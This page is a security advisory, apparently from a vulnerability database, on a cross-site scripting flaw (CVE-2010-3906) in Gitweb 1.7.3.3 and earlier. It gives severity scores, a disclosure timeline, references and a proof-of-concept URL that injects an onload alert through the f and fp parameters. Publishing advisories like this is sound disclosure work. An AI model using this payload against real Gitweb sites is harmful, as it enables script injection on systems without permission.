Gitweb <=1.7.3.3 Cross Site Scripting

2010-12-20 / 2010-12-21

Credit: emgent

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2010-3906

CWE: CWE-79

Ogólna skala CVSS: 4.3/10

Znaczenie: 2.9/10

Łatwość wykorzystania: 8.6/10

Wymagany dostęp: Zdalny

Złożoność ataku: Średnia

Autoryzacja: Nie wymagana

Wpływ na poufność: Brak

Wpływ na integralność: Częściowy

Wpływ na dostępność: Brak

>-8 Description 8-<
Cross-site scripting (XSS) vulnerability in Gitweb 1.7.3.3 and previous versions
allows remote attackers to inject arbitrary web script or HTML code via f and fp variables.

>-8 Proof Of Concept 8-<
http://localhost/?p=foo/bar/ph33r.git;a=blobdiff;f=[XSS];fp=[XSS]
[XSS] => "><body onload="alert('xss')"> <a


>-8 Credits 8-<
Emanuele 'emgent' Gentili <e.gentili@tigersecurity.it>


>-8 Responsible Disclosure 8-<

13-12-2010	Initial contact with upstream and vendor-sec
13-12-2010	Vendor Response and CVE-2010-3906 assignation
15-12-2010	Public Disclosure

Referencje:

http://www.securityfocus.com/bid/45439

http://www.mandriva.com/security/advisories?name=MDVSA-2010:256

http://www.exploit-db.com/exploits/15744

http://secunia.com/advisories/42645

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Gitweb <=1.7.3.3 Cross Site Scripting

Referencje:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.